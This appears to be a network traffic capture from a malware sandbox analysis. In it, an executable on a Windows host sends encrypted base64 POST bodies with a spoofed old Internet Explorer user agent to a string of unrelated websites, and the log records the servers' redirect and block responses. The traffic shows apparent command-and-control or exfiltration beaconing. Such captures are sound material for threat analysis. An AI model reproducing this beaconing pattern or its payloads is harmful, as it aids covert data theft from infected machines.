Oct 25, 2024 11:17:32.867156029 CEST	182	IN	HTTP/1.0 404 Not Found cache-control: no-cache content-type: text/html x-reason: UnsupportedMethod Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Not Found</title></head><body>404 Not Found</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	52541	104.26.7.221	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:32.270037889 CEST	805	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.valdal.com Cache-Control: no-cache Data Raw: 7a 48 62 5a 69 51 45 35 52 66 62 33 5a 6a 55 73 34 44 37 43 34 39 6f 6b 74 30 70 2f 52 70 72 4d 78 53 63 58 6d 62 59 58 69 37 45 4c 58 5a 6a 4f 62 73 70 62 68 48 52 58 77 35 39 70 30 74 4e 41 31 49 6f 44 72 68 50 78 4c 52 69 77 64 50 43 67 4d 7a 34 72 44 45 38 63 59 63 64 62 6f 64 39 63 75 6e 33 51 61 38 71 66 65 61 39 6f 34 70 39 65 36 42 63 46 6d 59 44 71 32 64 39 30 46 34 34 65 55 4a 2b 69 53 38 67 41 49 54 50 75 42 35 64 52 64 4a 4b 41 49 58 56 46 78 64 42 57 4f 78 6d 55 42 56 6f 33 63 49 65 44 6d 74 44 53 47 57 58 78 4f 36 45 4d 48 44 57 41 37 41 71 56 69 32 38 74 72 6b 4f 75 48 67 52 68 31 58 76 32 58 51 73 65 6e 4c 67 46 53 76 4f 7a 79 6d 4f 64 57 2b 63 33 39 76 72 52 4b 34 65 52 32 67 4f 42 2f 70 61 48 38 70 6c 71 30 61 6d 69 58 31 78 56 37 76 57 41 67 6f 67 38 41 52 44 57 37 68 79 43 57 67 66 68 58 4e 4b 30 61 75 54 75 72 36 65 45 4b 31 30 56 62 6a 2f 34 55 37 68 46 68 4e 4e 63 6b 6a 4c 39 53 45 6d 55 35 4b 4e 6b 33 73 61 61 31 36 61 7a 73 53 4a 51 6a 53 45 50 42 43 2b 64 79 33 71 63 56 49 [TRUNCATED] Data Ascii: zHbZiQE5Rfb3ZjUs4D7C49okt0p/RprMxScXmbYXi7ELXZjObspbhHRXw59p0tNA1IoDrhPxLRiwdPCgMz4rDE8cYcdbod9cun3Qa8qfea9o4p9e6BcFmYDq2d90F44eUJ+iS8gAITPuB5dRdJKAIXVFxdBWOxmUBVo3cIeDmtDSGWXxO6EMHDWA7AqVi28trkOuHgRh1Xv2XQsenLgFSvOzymOdW+c39vrRK4eR2gOB/paH8plq0amiX1xV7vWAgog8ARDW7hyCWgfhXNK0auTur6eEK10Vbj/4U7hFhNNckjL9SEmU5KNk3saa16azsSJQjSEPBC+dy3qcVIUGwuuKzK72qH5qK4qqPck8EupOUAsabPe+uba2sKtFIFxyMzWZlAun4vuMaDA3dfz37WGMnG6lMWxVPdh3QQmFdnLcukG4o1gRa1YX88WRWbb86SQ3B0IQzjbxjh2FEsBekKGNSb5UcYIu8mGR+w/L0Ch576gvPSDxa9tHCR0HGbjZcsVDs7dTA6DuewmUvWzfjaCGXdb8vaJNdnoc3b1BmCYo+VwR5jgt5tAoDXg=
Oct 25, 2024 11:17:32.903579950 CEST	1236	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4514 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Fri, 25 Oct 2024 09:17:47 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yv77OnLum2PS4GLWCxljaobloczizVu8qPfhyy1G5E1XdsxRX%2BZ7YBCSk9k7niCVCvuQz%2Fk2WGwVdkXzeVExynZozipiSouxube0T%2F7CnAwb6VVDFJ2WbKQgpIbx%2FO6e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d382c7f45f6-DFW Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e [TRUNCATED] Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewpo
Oct 25, 2024 11:17:32.903618097 CEST	1236	IN	Data Raw: 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f Data Ascii: rt" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![en
Oct 25, 2024 11:17:32.903652906 CEST	424	IN	Data Raw: 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 Data Ascii: l"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-container --> <div class="cf-section cf-wrapper"> <div class="cf-columns two">
Oct 25, 2024 11:17:32.903687000 CEST	1236	IN	Data Raw: 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 20 61 74 74 61 63 6b 73 2e 20 54 68 65 20 61 63 74 69 6f 6e 20 79 6f 75 Data Ascii: is using a security service to protect itself from online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL com
Oct 25, 2024 11:17:32.903721094 CEST	1028	IN	Data Raw: 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 Data Ascii: ooter-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">173.254.250.81</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	52543	185.15.129.58	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:32.455419064 CEST	838	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 604 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.item-pr.com Cache-Control: no-cache Data Raw: 6d 5a 47 30 72 44 67 38 65 50 59 4b 65 31 30 72 75 31 49 41 69 69 73 49 6c 47 61 41 57 78 70 73 37 46 4c 68 4d 63 79 34 6d 34 66 75 76 36 6f 32 58 76 30 43 74 43 66 6c 30 39 73 33 68 2b 50 69 6b 66 79 64 70 39 74 68 77 47 73 5a 66 74 57 49 36 70 52 51 36 61 51 38 58 52 68 52 57 43 6f 68 79 62 61 46 75 43 2f 79 4c 78 73 43 7a 4f 56 39 42 52 46 52 37 63 44 43 4f 70 4d 7a 63 79 64 6e 47 6f 74 32 32 79 7a 52 57 2f 4c 34 4c 42 71 57 4b 52 4a 4f 71 38 7a 49 79 43 51 43 31 33 6d 42 79 2b 61 75 6e 67 2b 58 50 67 39 6f 6c 4e 59 53 74 72 30 6b 76 45 42 67 58 7a 6c 37 47 48 55 67 2b 53 49 44 68 49 62 61 5a 34 44 4f 68 63 48 5a 49 37 61 43 64 61 2f 58 34 61 63 45 4b 57 42 69 39 35 56 66 37 35 52 76 6f 42 69 51 50 6b 72 42 34 38 4d 35 6e 64 75 6a 5a 44 62 2b 6a 5a 70 4d 5a 6c 77 2b 31 67 33 6e 52 42 7a 6d 78 31 6e 61 73 62 47 61 49 7a 65 79 59 2b 71 49 31 2f 44 68 34 6a 6a 44 39 33 77 57 4f 79 36 2b 51 47 39 39 34 51 6b 4c 6c 44 6f 43 4c 58 35 6e 54 77 4d 30 63 72 51 71 6a 37 39 53 62 4b 2f 6f 30 57 6d 6f 4a 65 [TRUNCATED] Data Ascii: mZG0rDg8ePYKe10ru1IAiisIlGaAWxps7FLhMcy4m4fuv6o2Xv0CtCfl09s3h+Pikfydp9thwGsZftWI6pRQ6aQ8XRhRWCohybaFuC/yLxsCzOV9BRFR7cDCOpMzcydnGot22yzRW/L4LBqWKRJOq8zIyCQC13mBy+aung+XPg9olNYStr0kvEBgXzl7GHUg+SIDhIbaZ4DOhcHZI7aCda/X4acEKWBi95Vf75RvoBiQPkrB48M5ndujZDb+jZpMZlw+1g3nRBzmx1nasbGaIzeyY+qI1/Dh4jjD93wWOy6+QG994QkLlDoCLX5nTwM0crQqj79SbK/o0WmoJeC3tLHfLt4NhOmeDkHaDZIqXUc3g8iODJMJfRDsfE3B+ZgdencN3Pm06v3TRHyJrMO5HT2dPhIwFkQpizNUwlaYiqQovsICX//RrQjjJUNYDn0pdzHbFmtm9mMAyAPHmavrCBdpFmleEARv4uHxIGQgHmAveS6NTEDxI/xMwBBCBODHLWexEkCzmUregS8tmuXd2wlZzklCRdpopjoNbCo2petWUzapOwAMeUlIOtSR+wTjMSkNDv98pwbbDa53tX0VpTJm5Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	52544	142.250.186.147	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:32.511902094 CEST	805	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.depalo.com Cache-Control: no-cache Data Raw: 51 58 53 53 75 53 32 6e 65 50 61 67 7a 45 43 4b 4a 46 36 51 4a 75 61 7a 34 76 55 62 62 6d 4e 72 73 54 70 75 76 59 6a 4b 6b 56 79 62 62 77 6b 53 47 6b 38 49 4d 2f 67 47 6c 64 47 70 30 44 68 63 34 39 6c 73 2b 44 6a 70 6c 2f 4e 67 6c 59 39 30 4a 78 55 6d 66 5a 61 34 69 59 44 42 39 39 79 43 44 6b 54 39 67 69 69 44 58 4b 79 38 65 31 42 57 4b 77 61 2f 73 79 49 66 4a 6e 56 4c 42 50 73 65 44 67 6b 64 59 64 6c 6c 77 49 59 79 42 37 75 76 46 54 69 4e 70 76 4f 52 6f 56 74 62 71 77 39 56 6a 79 51 36 30 57 68 68 74 77 37 65 72 69 41 44 73 5a 31 64 41 54 70 51 33 44 6e 38 4f 79 43 33 6a 52 69 4b 74 59 76 72 7a 61 69 35 6f 62 6e 6a 72 57 51 47 79 38 50 33 71 38 74 49 4a 2f 63 65 6f 79 2b 64 6b 61 55 5a 41 73 62 36 47 35 75 31 4a 4a 70 79 47 6a 72 70 4c 48 63 79 6b 66 41 53 53 64 63 51 56 4d 45 30 32 68 53 4e 77 32 75 52 77 33 51 45 43 5a 51 38 57 7a 4c 46 6c 43 2f 4b 70 50 4f 55 50 72 70 54 57 48 49 62 75 59 66 30 77 78 30 6f 67 43 55 48 6f 6f 51 57 79 76 4a 2b 64 6c 38 52 6e 34 75 53 74 79 46 42 50 6b 75 64 6a 6c [TRUNCATED] Data Ascii: QXSSuS2nePagzECKJF6QJuaz4vUbbmNrsTpuvYjKkVybbwkSGk8IM/gGldGp0Dhc49ls+Djpl/NglY90JxUmfZa4iYDB99yCDkT9giiDXKy8e1BWKwa/syIfJnVLBPseDgkdYdllwIYyB7uvFTiNpvORoVtbqw9VjyQ60Whhtw7eriADsZ1dATpQ3Dn8OyC3jRiKtYvrzai5obnjrWQGy8P3q8tIJ/ceoy+dkaUZAsb6G5u1JJpyGjrpLHcykfASSdcQVME02hSNw2uRw3QECZQ8WzLFlC/KpPOUPrpTWHIbuYf0wx0ogCUHooQWyvJ+dl8Rn4uStyFBPkudjlP10i+TD3qWfy42NBnBahXGUH1u3qjVOkmCJL6Vp1pJbxEjTFjgTjCPhNjv+j3miIHd9PbrOZJIqCGAfQR58kMFTjcvYyKvR2/Ivu3MQdEmPLndIPGCKcibsUCBgdY9XN3d1LSGpwCa8KnXruXbmjxJ2sC1jK3mfY17u6jBZUeYDSd79RaEipCkMJHSlDgOH+ZmycEXPfPKU1I8MpL9L3zqPaLerYbi3wVLsWcijQ==
Oct 25, 2024 11:17:33.552369118 CEST	376	IN	HTTP/1.1 301 Moved Permanently Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 25 Oct 2024 09:17:33 GMT Location: https://www.depalo.com/ Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	52545	170.82.174.30	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:32.520782948 CEST	769	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.mqs.com.br Cache-Control: no-cache Data Raw: 72 4b 79 47 69 6c 30 76 58 76 62 4b 52 30 6c 42 6c 47 6b 72 35 70 62 62 32 6e 73 4c 51 76 33 34 34 62 55 45 32 77 79 59 41 54 7a 6b 38 4b 43 38 44 75 75 47 71 72 4e 62 64 4d 37 48 51 2b 44 45 39 34 70 58 6c 68 2b 41 42 4f 74 72 4a 6c 68 4f 2f 63 67 72 45 41 38 64 45 41 32 63 66 38 38 70 66 49 4d 66 4b 4c 77 30 6b 48 71 7a 52 42 6f 64 63 41 64 35 4a 65 6d 51 38 39 79 48 68 41 62 62 42 54 5a 6e 47 2b 6b 49 76 35 70 58 43 2f 63 31 48 39 75 47 48 44 63 6d 47 32 43 66 4e 45 4a 46 45 4f 61 34 36 70 57 79 52 34 57 39 50 62 55 65 32 73 4c 57 38 49 4e 65 33 31 30 37 55 76 51 53 62 61 54 6d 4c 63 6a 4e 79 66 48 48 52 52 78 44 6a 46 54 52 59 69 49 4e 64 4f 53 2b 6c 66 70 42 6b 4a 5a 41 63 70 73 6a 70 65 57 44 59 39 33 7a 58 37 7a 66 4f 2b 68 38 72 79 76 6a 58 4d 72 45 4f 61 79 71 7a 6c 51 73 70 2b 41 65 69 67 57 2b 41 76 62 6c 69 56 7a 69 37 70 58 7a 53 2f 35 71 66 53 56 79 67 52 45 79 58 70 55 33 4c 62 54 45 66 44 44 56 75 68 5a 34 4e 65 52 35 74 32 45 76 61 36 4a 6c 66 30 39 48 44 72 61 6b 4a 6f 55 2f 62 54 [TRUNCATED] Data Ascii: rKyGil0vXvbKR0lBlGkr5pbb2nsLQv344bUE2wyYATzk8KC8DuuGqrNbdM7HQ+DE94pXlh+ABOtrJlhO/cgrEA8dEA2cf88pfIMfKLw0kHqzRBodcAd5JemQ89yHhAbbBTZnG+kIv5pXC/c1H9uGHDcmG2CfNEJFEOa46pWyR4W9PbUe2sLW8INe3107UvQSbaTmLcjNyfHHRRxDjFTRYiINdOS+lfpBkJZAcpsjpeWDY93zX7zfO+h8ryvjXMrEOayqzlQsp+AeigW+AvbliVzi7pXzS/5qfSVygREyXpU3LbTEfDDVuhZ4NeR5t2Eva6Jlf09HDrakJoU/bTuEwq1EaRJ0x0b0P+VkhyYogshmgB1IY2kDaBKrwHKEJJw0Ccny65+rjB9uFEIuTrmBtb3hIqZ3R2q25YRCaXlzW4iBSFK1V/SWyZXJqqxckJgk6SPu4MzDap2Hrcq1iPF0OVUGH2rCcRcdZ3MT3YY1g1bSlaHIXadaKu+TDwNtXA21gqonbxvPVLJbM673O8PiZgHz
Oct 25, 2024 11:17:33.705918074 CEST	736	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Set-Cookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; expires=Fri, 01-Nov-24 09:17:33 GMT; SameSite=Lax; path=/; HttpOnly Set-Cookie: _mcnc=1; Path=/ Location: https://www.mqs.com.br/ Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000 X-Cloudez-Verify: f1f79f15a43c89e43ec1c65cc878ebbf8e9cf4a58e98a109af262325 X-GoCache-CacheStatus: BYPASS Server: gocache Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:33.707483053 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 25, 2024 11:17:34.166794062 CEST	836	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 536 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.mqs.com.br Cache-Control: no-cache Cookie: __goc_session__=lafcfcoaucmfvhcxntzzjciukguenwvs; _mcnc=1 Data Raw: 72 4b 79 47 69 6c 30 76 58 76 62 4b 52 30 6c 42 6c 47 6b 72 35 70 62 62 32 6e 73 4c 51 76 33 34 34 62 55 45 32 77 79 59 41 54 7a 6b 38 4b 43 38 44 75 75 47 71 72 4e 62 64 4d 37 48 51 2b 44 45 39 34 70 58 6c 68 2b 41 42 4f 74 72 4a 6c 68 4f 2f 63 67 72 45 41 38 64 45 41 32 63 66 38 38 70 66 49 4d 66 4b 4c 77 30 6b 48 71 7a 52 42 6f 64 63 41 64 35 4a 65 6d 51 38 39 79 48 68 41 62 62 42 54 5a 6e 47 2b 6b 49 76 35 70 58 43 2f 63 31 48 39 75 47 48 44 63 6d 47 32 43 66 4e 45 4a 46 45 4f 61 34 36 70 57 79 52 34 57 39 50 62 55 65 32 73 4c 57 38 49 4e 65 33 31 30 37 55 76 51 53 62 61 54 6d 4c 63 6a 4e 79 66 48 48 52 52 78 44 6a 46 54 52 59 69 49 4e 64 4f 53 2b 6c 66 70 42 6b 4a 5a 41 63 70 73 6a 70 65 57 44 59 39 33 7a 58 37 7a 66 4f 2b 68 38 72 79 76 6a 58 4d 72 45 4f 61 79 71 7a 6c 51 73 70 2b 41 65 69 67 57 2b 41 76 62 6c 69 56 7a 69 37 70 58 7a 53 2f 35 71 66 53 56 79 67 52 45 79 58 70 55 33 4c 62 54 45 66 44 44 56 75 68 5a 34 4e 65 52 35 74 32 45 76 61 36 4a 6c 66 30 39 48 44 72 61 6b 4a 6f 55 2f 62 54 [TRUNCATED] Data Ascii: rKyGil0vXvbKR0lBlGkr5pbb2nsLQv344bUE2wyYATzk8KC8DuuGqrNbdM7HQ+DE94pXlh+ABOtrJlhO/cgrEA8dEA2cf88pfIMfKLw0kHqzRBodcAd5JemQ89yHhAbbBTZnG+kIv5pXC/c1H9uGHDcmG2CfNEJFEOa46pWyR4W9PbUe2sLW8INe3107UvQSbaTmLcjNyfHHRRxDjFTRYiINdOS+lfpBkJZAcpsjpeWDY93zX7zfO+h8ryvjXMrEOayqzlQsp+AeigW+AvbliVzi7pXzS/5qfSVygREyXpU3LbTEfDDVuhZ4NeR5t2Eva6Jlf09HDrakJoU/bTuEwq1EaRJ0x0b0P+VkhyYogshmgB1IY2kDaBKrwHKEJJw0Ccny65+rjB9uFEIuTrmBtb3hIqZ3R2q25YRCaXlzW4iBSFK1V/SWyZXJqqxckJgk6SPu4MzDap2Hrcq1iPF0OVUGH2rCcRcdZ3MT3YY1g1bSlaHIXadaKu+TDwNtXA21gqonbxvPVLJbM673O8PiZgHz
Oct 25, 2024 11:17:34.578581095 CEST	605	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Set-Cookie: _mcnc=1; Path=/ Location: https://www.mqs.com.br/ Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=63072000 X-Cloudez-Verify: f1f79f15a43c89e43ec1c65cc878ebbf8e9cf4a58e98a109af262325 X-GoCache-CacheStatus: BYPASS Server: gocache Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:34.579158068 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	52546	34.149.87.45	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:32.608844042 CEST	816	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 584 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.alteor.cl Cache-Control: no-cache Data Raw: 54 53 78 30 52 57 59 41 51 2f 62 51 52 48 35 31 41 5a 7a 30 65 59 6b 57 41 43 35 47 52 75 61 62 2b 6a 4a 2b 59 69 6a 59 4f 76 51 6e 74 7a 38 58 79 44 72 46 57 4c 30 5a 6c 62 78 65 58 50 6a 4f 47 33 2f 45 45 71 31 79 49 70 41 56 37 77 34 56 56 35 50 66 57 35 59 74 72 73 77 53 61 59 53 51 34 46 70 31 79 51 46 36 41 4f 46 4e 6e 2b 70 65 6d 62 76 69 58 4a 71 4c 33 72 36 6a 30 62 77 4c 59 47 49 58 6f 4c 59 44 67 58 54 59 55 46 4b 45 6f 38 53 6f 4a 61 53 55 6f 66 6f 4f 47 55 79 62 77 65 37 6d 70 77 46 33 39 4f 45 33 47 4c 56 6b 37 30 6b 39 68 32 41 51 30 57 77 32 75 37 63 61 72 45 66 37 33 37 46 75 5a 44 30 79 4a 56 69 57 5a 73 50 41 2f 4f 53 69 79 69 6f 33 59 57 49 64 43 44 4b 78 64 4e 74 62 74 69 79 68 59 56 6d 36 38 31 2f 30 54 36 75 4c 62 65 51 2f 45 6e 79 32 44 39 75 47 6b 54 6c 7a 6f 6c 77 58 33 53 74 35 35 73 77 4f 50 59 2b 61 51 4c 72 58 56 47 52 69 31 46 56 43 62 33 2f 52 72 6d 4f 6c 55 51 41 6e 42 41 4a 54 48 4b 52 4e 4f 42 73 52 2f 6d 74 38 6b 7a 78 76 7a 4e 46 50 72 76 69 31 41 49 69 43 6e 31 [TRUNCATED] Data Ascii: TSx0RWYAQ/bQRH51AZz0eYkWAC5GRuab+jJ+YijYOvQntz8XyDrFWL0ZlbxeXPjOG3/EEq1yIpAV7w4VV5PfW5YtrswSaYSQ4Fp1yQF6AOFNn+pembviXJqL3r6j0bwLYGIXoLYDgXTYUFKEo8SoJaSUofoOGUybwe7mpwF39OE3GLVk70k9h2AQ0Ww2u7carEf737FuZD0yJViWZsPA/OSiyio3YWIdCDKxdNtbtiyhYVm681/0T6uLbeQ/Eny2D9uGkTlzolwX3St55swOPY+aQLrXVGRi1FVCb3/RrmOlUQAnBAJTHKRNOBsR/mt8kzxvzNFPrvi1AIiCn1AB3Y4IMsIQ8EgvDQ7yIgelmsvZO14nvbXKqWW/ZyWC9aXNxBN5xwOGqFOFh1tB7/XJhA2HI7OpohwV7pONSsX9a8iypBCre4HDtsaUnxgQBC+0dvZod7wHxAw3A5MkwrahW1P4ZMEDrhV5vg97fYk3RwIaJ0hI/l48ZQut7fETSeuJrp4/96p8X46dPh9xUlNPZ+kkxepGTlP8NNlR6BF9zJtNnT5ZvUH1sD44sHOjo7g5auASClA=
Oct 25, 2024 11:17:33.277230978 CEST	361	IN	HTTP/1.1 301 Moved Permanently Content-Length: 0 Location: https://www.alteor.cl/ Accept-Ranges: bytes Date: Fri, 25 Oct 2024 09:17:33 GMT X-Served-By: cache-dfw-kdfw8210075-DFW X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k= Via: 1.1 google glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	52550	188.114.97.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
